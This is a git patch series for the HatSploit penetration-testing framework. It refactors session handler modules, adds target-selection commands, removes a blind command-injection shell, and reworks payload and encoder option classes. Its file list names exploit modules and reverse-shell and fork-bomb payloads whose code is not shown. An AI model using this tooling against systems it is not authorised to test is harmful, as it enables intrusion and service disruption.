From bd516d8ab06a53d5f88b3028b08dfb92d282b9e9 Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sat, 22 Jun 2024 16:59:01 +0200 Subject: [PATCH 01/16] Update and rename reverse_tcp.py to shell_reverse_tcp.py --- .../generic/handler/{reverse_tcp.py => shell_reverse_tcp.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename hatsploit/modules/exploit/generic/handler/{reverse_tcp.py => shell_reverse_tcp.py} (86%) diff --git a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py b/hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py similarity index 86% rename from hatsploit/modules/exploit/generic/handler/reverse_tcp.py rename to hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py index 63c41b411..26bfb0d68 100755 --- a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py +++ b/hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py @@ -12,12 +12,12 @@ def __init__(self): self.details.update({ 'Category': "exploit", - 'Name': "Reverse TCP Handler", + 'Name': "Shell Reverse TCP Handler", 'Module': "exploit/generic/handler/reverse_tcp", 'Authors': [ 'Ivan Nikolskiy (enty8080) - module developer', ], - 'Description': "Reverse TCP Handler.", + 'Description': "Handle shell session and send payload phase.", 'Platform': OS_GENERIC, 'Rank': "high", }) From 9b352eecfcd391bdc1398e5fa2306f6b0fd7514d Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sat, 22 Jun 2024 17:13:59 +0200 Subject: [PATCH 02/16] Create reverse_tcp.py --- .../exploit/generic/handler/reverse_tcp.py | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 hatsploit/modules/exploit/generic/handler/reverse_tcp.py diff --git a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py b/hatsploit/modules/exploit/generic/handler/reverse_tcp.py new file mode 100644 index 000000000..3ee8928b7 --- /dev/null +++ b/hatsploit/modules/exploit/generic/handler/reverse_tcp.py @@ -0,0 +1,32 @@ +""" +This module requires HatSploit: https://hatsploit.com +Current source: https://github.com/EntySec/HatSploit +""" + +from hatsploit.lib.module.basic import * + + +class HatSploitModule(Module, Handler): + def __init__(self): + super().__init__() + + self.details.update({ + 'Category': "exploit", + 'Name': "Reverse TCP Handler", + 'Module': "exploit/generic/handler/reverse_tcp", + 'Authors': [ + 'Ivan Nikolskiy (enty8080) - module developer', + ], + 'Description': "Handle session over reverse TCP.", + 'Platform': OS_GENERIC, + 'Rank': "high", + }) + + def run(self): + self.open_session( + self.module_handle_session( + type='reverse_tcp', + session=self.payload.payload.details['Session'], + ), + details=self.payload.payload.details + ) From 8fe625f40c6739b95a3cfa2c5c9506b31ba2d103 Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sat, 22 Jun 2024 17:17:11 +0200 Subject: [PATCH 03/16] Update __init__.py --- hatsploit/lib/handler/__init__.py | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/hatsploit/lib/handler/__init__.py b/hatsploit/lib/handler/__init__.py index b85867c65..1f25cfd84 100755 --- a/hatsploit/lib/handler/__init__.py +++ b/hatsploit/lib/handler/__init__.py @@ -88,7 +88,8 @@ def __init__(self) -> None: False, advanced=True, object=Module) def open_session(self, session: Session, - on_session: Optional[Callable[..., Any]] = None) -> None: + on_session: Optional[Callable[..., Any] = None, + details: Optional[dict] = {}) -> None: """ Open session and interact with it if allowed. Note: This method does not open session, it just saves opened session to the @@ -97,9 +98,13 @@ def open_session(self, session: Session, :param Session session: session object :param Optional[Callable[..., Any]] on_session: function of an action that should be performed right after session was opened + :param Optional[dict] details: session details to add :return None: None """ + if details: + session.details.update(details) + platform = str(session.details['Platform']) arch = str(session.details['Arch']) type = session.details['Type'] @@ -189,17 +194,17 @@ def handle(self, payload: Payload, action: str = 'shell', if client: session = session() - - session.details['Platform'] = payload.details['Platform'] - session.details['Arch'] = payload.details['Arch'] - session.details['Host'] = host - session.details['Port'] = self.lport.value - session.open(client) self.open_session( session=session, - on_session=on_session + on_session=on_session, + details={ + 'Platform': payload.details['Platform'], + 'Arch': payload.details['Arch'], + 'Host': host, + 'Port': self.lport.value + } ) def module_handle_session(self, type: str = 'one_side', From e5a63d1f6088a66f214594d21ac58086c7a04e4c Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sat, 22 Jun 2024 17:20:55 +0200 Subject: [PATCH 04/16] Delete hatsploit/modules/exploit/generic/handler/bind_tcp.py --- .../exploit/generic/handler/bind_tcp.py | 29 ------------------- 1 file changed, 29 deletions(-) delete mode 100755 hatsploit/modules/exploit/generic/handler/bind_tcp.py diff --git a/hatsploit/modules/exploit/generic/handler/bind_tcp.py b/hatsploit/modules/exploit/generic/handler/bind_tcp.py deleted file mode 100755 index 2dedc7c65..000000000 --- a/hatsploit/modules/exploit/generic/handler/bind_tcp.py +++ /dev/null @@ -1,29 +0,0 @@ -""" -This module requires HatSploit: https://hatsploit.com -Current source: https://github.com/EntySec/HatSploit -""" - -from hatsploit.lib.module.basic import * - - -class HatSploitModule(Module, Handler): - def __init__(self): - super().__init__() - - self.details.update({ - 'Category': "exploit", - 'Name': "Bind TCP Handler", - 'Module': "exploit/generic/handler/bind_tcp", - 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - ], - 'Description': "Bind TCP Handler.", - 'Platform': OS_GENERIC, - 'Rank': "high", - }) - - def run(self): - remote = self.module_handle_session( - type='reverse_tcp', - session=self.payload.payload.details['Session'], - ) From f42052668ad77a20476e5fb13bd3fc8ef8fe20cb Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sun, 23 Jun 2024 13:52:43 +0200 Subject: [PATCH 05/16] Update and rename reverse_tcp.py to .py --- .../modules/exploit/generic/handler/{reverse_tcp.py => .py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename hatsploit/modules/exploit/generic/handler/{reverse_tcp.py => .py} (88%) diff --git a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py b/hatsploit/modules/exploit/generic/handler/.py similarity index 88% rename from hatsploit/modules/exploit/generic/handler/reverse_tcp.py rename to hatsploit/modules/exploit/generic/handler/.py index 3ee8928b7..28f2fafd3 100644 --- a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py +++ b/hatsploit/modules/exploit/generic/handler/.py @@ -13,7 +13,7 @@ def __init__(self): self.details.update({ 'Category': "exploit", 'Name': "Reverse TCP Handler", - 'Module': "exploit/generic/handler/reverse_tcp", + 'Module': "exploit/generic/handler", 'Authors': [ 'Ivan Nikolskiy (enty8080) - module developer', ], @@ -25,7 +25,7 @@ def __init__(self): def run(self): self.open_session( self.module_handle_session( - type='reverse_tcp', + type=self.payload.payload.details['Type'], session=self.payload.payload.details['Session'], ), details=self.payload.payload.details From 2fcc85b42c404dc4a0a235dcc6c25f4187002060 Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sun, 23 Jun 2024 13:53:02 +0200 Subject: [PATCH 06/16] Rename hatsploit/modules/exploit/generic/handler/.py to hatsploit/modules/exploit/generic/handle.py --- hatsploit/modules/exploit/generic/{handler/.py => handle.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename hatsploit/modules/exploit/generic/{handler/.py => handle.py} (100%) diff --git a/hatsploit/modules/exploit/generic/handler/.py b/hatsploit/modules/exploit/generic/handle.py similarity index 100% rename from hatsploit/modules/exploit/generic/handler/.py rename to hatsploit/modules/exploit/generic/handle.py From dc8b50711a69e475d259c6d70f9a65f19b727774 Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sun, 23 Jun 2024 13:54:04 +0200 Subject: [PATCH 07/16] Delete hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py --- .../generic/handler/shell_reverse_tcp.py | 34 ------------------- 1 file changed, 34 deletions(-) delete mode 100755 hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py diff --git a/hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py b/hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py deleted file mode 100755 index 26bfb0d68..000000000 --- a/hatsploit/modules/exploit/generic/handler/shell_reverse_tcp.py +++ /dev/null @@ -1,34 +0,0 @@ -""" -This module requires HatSploit: https://hatsploit.com -Current source: https://github.com/EntySec/HatSploit -""" - -from hatsploit.lib.module.basic import * - - -class HatSploitModule(Module, Handler): - def __init__(self): - super().__init__() - - self.details.update({ - 'Category': "exploit", - 'Name': "Shell Reverse TCP Handler", - 'Module': "exploit/generic/handler/reverse_tcp", - 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - ], - 'Description': "Handle shell session and send payload phase.", - 'Platform': OS_GENERIC, - 'Rank': "high", - }) - - def run(self): - client = self.module_handle_session( - type='reverse_tcp', - session=HatSploitSession, - ) - - self.module_handle( - sender=client[0].send_command, - on_session=client[0].close - ) From 63d5a9453b7eb7fab7bfcb06b8c43399a7caf631 Mon Sep 17 00:00:00 2001 From: Ivan Nikolskiy Date: Sun, 23 Jun 2024 13:54:37 +0200 Subject: [PATCH 08/16] Update and rename handle.py to handler.py --- hatsploit/modules/exploit/generic/{handle.py => handler.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename hatsploit/modules/exploit/generic/{handle.py => handler.py} (88%) diff --git a/hatsploit/modules/exploit/generic/handle.py b/hatsploit/modules/exploit/generic/handler.py similarity index 88% rename from hatsploit/modules/exploit/generic/handle.py rename to hatsploit/modules/exploit/generic/handler.py index 28f2fafd3..99db2a60c 100644 --- a/hatsploit/modules/exploit/generic/handle.py +++ b/hatsploit/modules/exploit/generic/handler.py @@ -12,12 +12,12 @@ def __init__(self): self.details.update({ 'Category': "exploit", - 'Name': "Reverse TCP Handler", + 'Name': "Generic Handler", 'Module': "exploit/generic/handler", 'Authors': [ 'Ivan Nikolskiy (enty8080) - module developer', ], - 'Description': "Handle session over reverse TCP.", + 'Description': "Handle any session.", 'Platform': OS_GENERIC, 'Rank': "high", }) From 7cd931ce3b6812f57192856fed11f63006af45a9 Mon Sep 17 00:00:00 2001 From: Ivan Nikolsky Date: Fri, 12 Jul 2024 03:42:27 +0200 Subject: [PATCH 09/16] Update --- hatsploit/commands/devices.py | 31 + hatsploit/commands/target.py | 35 + hatsploit/commands/targets.py | 31 + hatsploit/core/base/execute.py | 14 + hatsploit/core/db/builder.py | 1 - hatsploit/core/utils/check.py | 1 - hatsploit/encoders/generic/base64.py | 4 +- hatsploit/encoders/x64/xor.py | 4 +- hatsploit/lib/blinder.py | 69 - hatsploit/lib/complex.py | 145 +- hatsploit/lib/encoder/__init__.py | 5 +- hatsploit/lib/encoders.py | 42 +- hatsploit/lib/handler/__init__.py | 67 +- hatsploit/lib/handler/send.py | 186 ++- hatsploit/lib/module/__init__.py | 20 +- hatsploit/lib/module/basic.py | 3 + hatsploit/lib/module/proto/http.py | 2 +- hatsploit/lib/modules.py | 94 +- hatsploit/lib/option.py | 206 ++- hatsploit/lib/options.py | 7 - hatsploit/lib/payload/__init__.py | 38 +- hatsploit/lib/payload/basic.py | 1 + hatsploit/lib/payloads.py | 112 +- hatsploit/lib/runtime.py | 2 +- hatsploit/lib/show.py | 46 + .../android/checker/check_adb_installation.py | 8 +- .../apple_ios/checker/jailbroken_or_not.py | 8 +- .../generic/scanner/directory_scanner.py | 8 +- .../auxiliary/generic/scanner/http_header.py | 16 +- .../auxiliary/generic/scanner/http_methods.py | 16 +- .../android/adb/remote_code_execution.py | 27 +- .../apple_ios/safari/webkit_filter_dos.py | 20 +- .../apple_ios/ssh/cydia_default_password.py | 58 +- .../{linux => generic}/apache/nifi_api_rce.py | 60 +- .../generic/gather/browser_webcam_photo.py | 18 +- .../generic/gather/browser_webcam_stream.py | 21 +- hatsploit/modules/exploit/generic/handler.py | 4 +- .../generic/icewarp/webmail_path_traversal.py | 73 + .../generic/ssh/server_code_execution.py | 20 +- .../3com/ap8670_credentials_disclosure.py | 19 +- .../exploit/linux/antiweb/path_traversal.py | 17 +- ...osure.py => rt_n16_password_disclosure.py} | 32 +- .../avtech/ipcamera_credentials_disclosure.py | 19 +- .../avtech/ipcamera_information_disclosure.py | 17 +- .../brickcom/multi_credentials_disclosure.py | 36 +- .../linux/chromecast/play_media_url.py | 14 +- .../linux/cypress/ctm_backdoor_password.py | 39 +- .../linux/dlink/dap_2020_path_traversal.py | 62 - .../linux/dlink/dcs_credentials_disclosure.py | 22 +- .../dlink/dir645_credentials_disclosure.py | 22 +- .../linux/dlink/hedwig_code_execution.py | 65 +- .../linux/f5/bigip_tmui_path_traversal.py | 49 - .../exploit/linux/f5/bigip_tmui_rce.py | 51 - .../exploit/linux/fhem/path_traversal.py | 21 +- .../linux/generic/32764_code_execution.py | 53 +- .../generic/32764_credentials_disclosure.py | 45 +- .../generic/dvr_credentials_disclosure.py | 38 +- .../linux/generic/p2p_authenticated_rce.py | 1288 ++++++++++++++++- .../linux/generic/p2p_password_disclosure.py | 1277 +++++++++++++++- .../huawei/hg630_information_disclosure.py | 20 +- .../linux/icewarp/webmail_path_traversal.py | 49 - .../jvc/t216vpru_credentials_disclosure.py | 22 +- .../linux/jvc/t216vpru_path_traversal.py | 22 +- .../linux/linksys/eseries_tmunblock_rce.py | 49 +- .../linux/linksys/wap54gv3_debug_rce.py | 39 +- .../mikrotik/winbox_credentials_disclosure.py | 28 +- .../linux/movistar/adsl_path_traversal.py | 23 +- .../ipcamera_information_disclosure.py | 20 +- .../netwave/wpa_information_disclosure.py | 20 +- .../linux/nostromo/remote_code_execution.py | 37 +- .../linux/oracle/weblogic_console_rce.py | 54 - .../rompager/multi_password_disclosure.py | 41 +- .../linux/selea/anpr_authenticated_rce.py | 59 - .../linux/selea/anpr_path_traversal.py | 49 - .../selea/targa_anpr_authenticated_rce.py | 90 ++ ...e.py => targa_anpr_password_disclosure.py} | 36 +- .../linux/selea/targa_anpr_path_traversal.py | 73 + ....py => ccms2025_credentials_disclosure.py} | 28 +- ...raversal.py => ccms2025_path_traversal.py} | 28 +- .../linux/skybridge/100_110_code_execution.py | 67 + ...e.py => 100_110_credentials_disclosure.py} | 27 +- .../linux/ssh/libssh_code_execution.py | 82 -- .../linux/ssh/raspbian_default_credentials.py | 53 - .../wepresent/wipg1000_code_execution.py | 56 - .../exploit/linux/zte/f460_f660_rce.py | 33 +- .../windows/handler/bitsadmin_reverse_http.py | 4 +- .../windows/handler/mshta_reverse_http.py | 4 +- .../windows/handler/regsvr32_reverse_http.py | 4 +- .../windows/handler/wmic_reverse_http.py | 4 +- .../modules/post/apple_ios/shell/respring.py | 8 +- .../post/apple_ios/shell/safari_bookmarks.py | 8 +- .../post/apple_ios/shell/safari_history.py | 8 +- hatsploit/modules/post/macos/shell/suspend.py | 10 +- .../modules/post/unix/shell/getpasswd.py | 8 +- hatsploit/modules/post/unix/shell/getpid.py | 8 +- .../linux/aarch64/shell_reverse_tcp.py | 3 +- hatsploit/payloads/linux/armle/fork_bomb.py | 3 +- .../payloads/linux/armle/shell_bind_tcp.py | 3 +- .../payloads/linux/armle/shell_reverse_tcp.py | 3 +- hatsploit/payloads/linux/generic/fork_bomb.py | 3 +- hatsploit/payloads/linux/mipsbe/reboot.py | 3 +- .../payloads/linux/mipsbe/shell_bind_tcp.py | 3 +- .../linux/mipsbe/shell_reverse_tcp.py | 3 +- hatsploit/payloads/linux/mipsle/reboot.py | 3 +- .../payloads/linux/mipsle/shell_bind_tcp.py | 3 +- .../linux/mipsle/shell_reverse_tcp.py | 3 +- hatsploit/payloads/linux/x64/fork_bomb.py | 3 +- hatsploit/payloads/linux/x64/kill_all.py | 3 +- hatsploit/payloads/linux/x64/reboot.py | 3 +- .../payloads/linux/x64/shell_bind_tcp.py | 3 +- .../payloads/linux/x64/shell_reverse_tcp.py | 3 +- hatsploit/payloads/linux/x64/shutdown.py | 3 +- .../payloads/linux/x86/shell_bind_tcp.py | 3 +- .../payloads/linux/x86/shell_reverse_tcp.py | 3 +- .../macos/generic/applescript_reverse_tcp.py | 3 +- hatsploit/payloads/macos/x64/say.py | 3 +- .../payloads/macos/x64/shell_bind_tcp.py | 3 +- .../payloads/macos/x64/shell_reverse_tcp.py | 3 +- .../payloads/unix/generic/bash_reverse_tcp.py | 3 +- .../unix/generic/{reboot.py => custom.py} | 13 +- .../payloads/unix/generic/ksh_reverse_tcp.py | 3 +- .../unix/generic/netcat_reverse_tcp.py | 3 +- .../unix/generic/netcate_reverse_tcp.py | 3 +- .../payloads/unix/generic/perl_reverse_tcp.py | 3 +- .../payloads/unix/generic/php_reverse_tcp.py | 3 +- .../payloads/unix/generic/ruby_reverse_tcp.py | 3 +- .../payloads/unix/generic/zsh_bind_tcp.py | 3 +- .../payloads/unix/generic/zsh_reverse_tcp.py | 3 +- hatsploit/payloads/windows/generic/calc.py | 3 +- .../payloads/windows/generic/message_box.py | 3 +- .../windows/generic/powershell_reverse_tcp.py | 3 +- hatsploit/payloads/windows/generic/say.py | 3 +- .../payloads/windows/x64/shell_reverse_tcp.py | 3 +- .../payloads/windows/x86/shell_reverse_tcp.py | 28 - setup.py | 19 - 135 files changed, 4735 insertions(+), 1316 deletions(-) create mode 100644 hatsploit/commands/devices.py create mode 100644 hatsploit/commands/target.py create mode 100644 hatsploit/commands/targets.py delete mode 100755 hatsploit/lib/blinder.py rename hatsploit/modules/exploit/{linux => generic}/apache/nifi_api_rce.py (54%) create mode 100755 hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py rename hatsploit/modules/exploit/linux/asus/{multi_password_disclosure.py => rt_n16_password_disclosure.py} (53%) delete mode 100755 hatsploit/modules/exploit/linux/dlink/dap_2020_path_traversal.py delete mode 100755 hatsploit/modules/exploit/linux/f5/bigip_tmui_path_traversal.py delete mode 100755 hatsploit/modules/exploit/linux/f5/bigip_tmui_rce.py delete mode 100755 hatsploit/modules/exploit/linux/icewarp/webmail_path_traversal.py delete mode 100755 hatsploit/modules/exploit/linux/oracle/weblogic_console_rce.py delete mode 100755 hatsploit/modules/exploit/linux/selea/anpr_authenticated_rce.py delete mode 100755 hatsploit/modules/exploit/linux/selea/anpr_path_traversal.py create mode 100755 hatsploit/modules/exploit/linux/selea/targa_anpr_authenticated_rce.py rename hatsploit/modules/exploit/linux/selea/{anpr_password_disclosure.py => targa_anpr_password_disclosure.py} (54%) create mode 100755 hatsploit/modules/exploit/linux/selea/targa_anpr_path_traversal.py rename hatsploit/modules/exploit/linux/siemens/{multi_credentials_disclosure.py => ccms2025_credentials_disclosure.py} (55%) rename hatsploit/modules/exploit/linux/siemens/{multi_path_traversal.py => ccms2025_path_traversal.py} (50%) create mode 100644 hatsploit/modules/exploit/linux/skybridge/100_110_code_execution.py rename hatsploit/modules/exploit/linux/skybridge/{credentials_disclosure.py => 100_110_credentials_disclosure.py} (61%) delete mode 100755 hatsploit/modules/exploit/linux/ssh/libssh_code_execution.py delete mode 100755 hatsploit/modules/exploit/linux/ssh/raspbian_default_credentials.py delete mode 100755 hatsploit/modules/exploit/linux/wepresent/wipg1000_code_execution.py rename hatsploit/payloads/unix/generic/{reboot.py => custom.py} (64%) delete mode 100755 hatsploit/payloads/windows/x86/shell_reverse_tcp.py diff --git a/hatsploit/commands/devices.py b/hatsploit/commands/devices.py new file mode 100644 index 000000000..befef9c97 --- /dev/null +++ b/hatsploit/commands/devices.py @@ -0,0 +1,31 @@ +""" +This command requires HatSploit: https://hatsploit.com +Current source: https://github.com/EntySec/HatSploit +""" + +from hatsploit.lib.command import Command +from hatsploit.lib.modules import Modules +from hatsploit.lib.show import Show + + +class HatSploitCommand(Command): + def __init__(self): + super().__init__() + + self.modules = Modules() + self.show = Show() + + self.details.update({ + 'Category': "modules", + 'Name': "devices", + 'Authors': [ + 'Ivan Nikolskiy (enty8080) - command developer', + ], + 'Description': "Display devices supported by module.", + 'Usage': "devices", + 'MinArgs': 0, + }) + + def run(self, argc, argv): + self.show.show_module_devices( + self.modules.get_current_module()) diff --git a/hatsploit/commands/target.py b/hatsploit/commands/target.py new file mode 100644 index 000000000..976645b85 --- /dev/null +++ b/hatsploit/commands/target.py @@ -0,0 +1,35 @@ +""" +This command requires HatSploit: https://hatsploit.com +Current source: https://github.com/EntySec/HatSploit +""" + +from hatsploit.lib.command import Command +from hatsploit.lib.modules import Modules + + +class HatSploitCommand(Command): + def __init__(self): + super().__init__() + + self.modules = Modules() + + self.details.update({ + 'Category': "modules", + 'Name': "target", + 'Authors': [ + 'Ivan Nikolskiy (enty8080) - command developer', + ], + 'Description': "Set module target if available.", + 'Usage': "target ", + 'MinArgs': 1, + }) + + def rpc(self, *args): + if len(args) < 1: + return + + self.modules.set_current_module_target(int(args[0])) + + def run(self, argc, argv): + if not self.modules.set_current_module_target(int(argv[1])): + self.print_error(f"Invalid target ID: {argv[1]}!") diff --git a/hatsploit/commands/targets.py b/hatsploit/commands/targets.py new file mode 100644 index 000000000..63e52802c --- /dev/null +++ b/hatsploit/commands/targets.py @@ -0,0 +1,31 @@ +""" +This command requires HatSploit: https://hatsploit.com +Current source: https://github.com/EntySec/HatSploit +""" + +from hatsploit.lib.command import Command +from hatsploit.lib.modules import Modules +from hatsploit.lib.show import Show + + +class HatSploitCommand(Command): + def __init__(self): + super().__init__() + + self.modules = Modules() + self.show = Show() + + self.details.update({ + 'Category': "modules", + 'Name': "targets", + 'Authors': [ + 'Ivan Nikolskiy (enty8080) - command developer', + ], + 'Description': "Display available module targets.", + 'Usage': "targets", + 'MinArgs': 0, + }) + + def run(self, argc, argv): + self.show.show_module_targets( + self.modules.get_current_module()) diff --git a/hatsploit/core/base/execute.py b/hatsploit/core/base/execute.py index 51638026d..977684bbd 100755 --- a/hatsploit/core/base/execute.py +++ b/hatsploit/core/base/execute.py @@ -82,6 +82,20 @@ def execute_builtin_method(self, command: list) -> bool: self.show.show_all_commands() return True + if command[0][0] == '*': + module = self.modules.get_current_module() + if not module: + self.badges.print_warning("No module selected.") + return True + + self.show.show_module_information(module.details) + self.show.show_options(module) + self.show.show_advanced(module) + self.show.show_module_devices(module) + self.show.show_module_targets(module) + + return True + if command[0][0] == '&': command[0] = command[0][1:] diff --git a/hatsploit/core/db/builder.py b/hatsploit/core/db/builder.py index 1cdf21e5a..bbfb79353 100755 --- a/hatsploit/core/db/builder.py +++ b/hatsploit/core/db/builder.py @@ -181,7 +181,6 @@ def build_payload_database(self, input_path: str, output_path: str) -> None: "Description": payload_object.details['Description'], "Arch": str(payload_object.details['Arch']), "Platform": str(payload_object.details['Platform']), - "Rank": payload_object.details['Rank'], "Type": payload_object.details['Type'], } }) diff --git a/hatsploit/core/utils/check.py b/hatsploit/core/utils/check.py index 0280d6b36..91c77767b 100755 --- a/hatsploit/core/utils/check.py +++ b/hatsploit/core/utils/check.py @@ -147,7 +147,6 @@ def check_payloads(self) -> bool: 'Description', 'Arch', 'Platform', - 'Rank', 'Type', ] diff --git a/hatsploit/encoders/generic/base64.py b/hatsploit/encoders/generic/base64.py index 2eaf1adfc..452212549 100755 --- a/hatsploit/encoders/generic/base64.py +++ b/hatsploit/encoders/generic/base64.py @@ -15,9 +15,9 @@ def __init__(self): self.details.update({ 'Name': "Base64 Encoder for Command", 'Encoder': "generic/base64", - 'Authors': [ + 'Authors': ( 'Ivan Nikolskiy (enty8080) - encoder developer', - ], + ), 'Description': "Encode command with base64.", 'Arch': ARCH_GENERIC, }) diff --git a/hatsploit/encoders/x64/xor.py b/hatsploit/encoders/x64/xor.py index 86778b478..bcae26c7c 100755 --- a/hatsploit/encoders/x64/xor.py +++ b/hatsploit/encoders/x64/xor.py @@ -16,9 +16,9 @@ def __init__(self): self.details.update({ 'Name': "x64 XOR Encoder", 'Encoder': "x64/xor", - 'Authors': [ + 'Authors': ( 'Ivan Nikolskiy (enty8080) - encoder developer', - ], + ), 'Description': "Simple XOR encoder for x64.", 'Arch': ARCH_X64, }) diff --git a/hatsploit/lib/blinder.py b/hatsploit/lib/blinder.py deleted file mode 100755 index de45bfd38..000000000 --- a/hatsploit/lib/blinder.py +++ /dev/null @@ -1,69 +0,0 @@ -""" -MIT License - -Copyright (c) 2020-2024 EntySec - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. -""" - -from typing import Callable, Any -from badges import Badges - -from pex.post import PostTools - - -class Blinder(object): - """ Subclass of hatsploit.lib module. - - This subclass of hatsploit.lib module is intended for providing - an implementation of Blinder, blind command injection handler. - """ - - def __init__(self) -> None: - super().__init__() - - self.badges = Badges() - self.post_tools = PostTools() - - def shell(self, sender: Callable[..., Any]) -> None: - """ Blinder shell, aka command handler. - - :param Callable sender: function via which Blinder sends commands - :param dict args: extra sender arguments - :return None: None - """ - - self.badges.print_empty() - self.badges.print_information("Welcome to Blinder, blind command injection handler.") - self.badges.print_information("Blinder is not a reverse shell, just a blind command injection.") - self.badges.print_empty() - - while True: - command = self.badges.input_empty("%lineblinder%end > ") - - if not command.strip() or command == 'exit': - return - - self.badges.print_process("Sending command to target...") - output = self.post_tools.post_payload(sender, command) - - if output: - self.badges.print_empty(f'\n{output}') - - self.badges.print_empty('') diff --git a/hatsploit/lib/complex.py b/hatsploit/lib/complex.py index 5a4d5d749..58742efcd 100644 --- a/hatsploit/lib/complex.py +++ b/hatsploit/lib/complex.py @@ -22,64 +22,124 @@ SOFTWARE. """ -from hatsploit.lib.option import Option +from typing import Union +from hatsploit.lib.option import Option from hatsploit.lib.modules import Modules from hatsploit.lib.payloads import Payloads from hatsploit.lib.encoders import Encoders from hatsploit.lib.sessions import Sessions +from hatsploit.lib.mixins import PayloadMixin class PayloadOption(Option): - modules = Modules() - payloads = Payloads() + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores payload object. + """ + + def __init__(self, *args, **kwargs) -> None: + """ Initialize payload option. + + :return None: None + """ + + super().__init__(*args, **kwargs) + + self.payload = None + self.criteria = {} + + self.config = { + 'BadChars': b'', + 'Space': 2048 + } + + self.mixin = None + + self.modules = Modules() + self.payloads = Payloads() + self.encoders = Encoders() + + def run(self, method: str = 'run') -> bytes: + """ Run current payload. + + :param str method: payload object method + :return bytes: generated payload + """ + + if not self.payload: + return b'' + + return self.payloads.run_payload( + self.payload, self.encoders.get_current_encoder( + self.modules.get_current_module(), self.payload), + method=method, badchars=self.config['BadChars']) + + def set(self, value: Union[str, int]) -> None: + """ Set current option value. + + :param Union[str, int] value: option value to set + :return None: None + """ - def set(self, value): value = self.modules.find_shorts('payload', value) module = self.modules.get_current_module() - if module: - if self.payloads.check_module_compatible(value, module): - module_name = module.details['Module'] + if not module: + raise RuntimeError("No module specified for payload!") - self.payloads.add_payload(module_name, value) + self.mixin = self.payloads.check_module_compatible( + value, module) - if 'Payload' not in module.details: - module.details['Payload'] = {} + if not self.mixin: + raise RuntimeError("Invalid option value, expected valid payload!") - module.details['Payload']['Value'] = value + if self.mixin in self.criteria: + self.config.update(self.criteria[self.mixin]) + self.payloads.add_payload(module, value) - self.payload = self.payloads.get_current_payload(module) - self.value = value + self.payload = self.payloads.get_module_payload(value, module) + self.value = value - return - raise RuntimeError("Invalid option value, expected valid payload!") +class EncoderOption(Option): + """ Subclass of hatsploit.lib.option module. + This subclass of hatsploit.lib.option module is a representation + of an option that stores encoder object. + """ -class EncoderOption(Option): - modules = Modules() - payloads = Payloads() - encoders = Encoders() + def __init__(self, *args, **kwargs) -> None: + """ Initialize encoder option. + + :return None: None + """ + + super().__init__(*args, **kwargs) + + self.encoder = None + + self.modules = Modules() + self.payloads = Payloads() + self.encoders = Encoders() + + def set(self, value: Union[str, int]) -> None: + """ Set current option value. + + :param Union[str, int] value: option value to set + :return None: None + """ - def set(self, value): value = self.modules.find_shorts('encoder', value) module = self.modules.get_current_module() payload = self.payloads.get_current_payload(module) if module and payload: if self.encoders.check_payload_compatible(value, payload): - module_name = module.details['Module'] - payload_name = payload.details['Payload'] - - self.encoders.add_encoder(module_name, payload_name, value) - - if 'Encoder' not in payload.details: - payload.details['Encoder'] = {} - - payload.details['Encoder']['Value'] = value - - self.encoder = self.encoders.get_current_encoder(module, payload) + self.encoders.add_encoder(module, payload, value) + self.encoder = self.encoders.get_payload_encoder( + value, module, payload) self.value = value return @@ -88,7 +148,20 @@ def set(self, value): class SessionOption(Option): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores session object. + """ + def __init__(self, *args, platforms: list = [], type: str = '', **kwargs): + """ Initialize session option. + + :param list platforms: supported platforms + :param str type: type of session + :return None: None + """ + Option.__init__(self, *args, **kwargs) self.sessions = Sessions() @@ -97,7 +170,15 @@ def __init__(self, *args, platforms: list = [], type: str = '', **kwargs): self.platforms = platforms self.type = type - def set(self, value): + self.session = None + + def set(self, value: int) -> None: + """ Set current option value. + + :param int value: option value to set + :return None: None + """ + value = int(value) module = 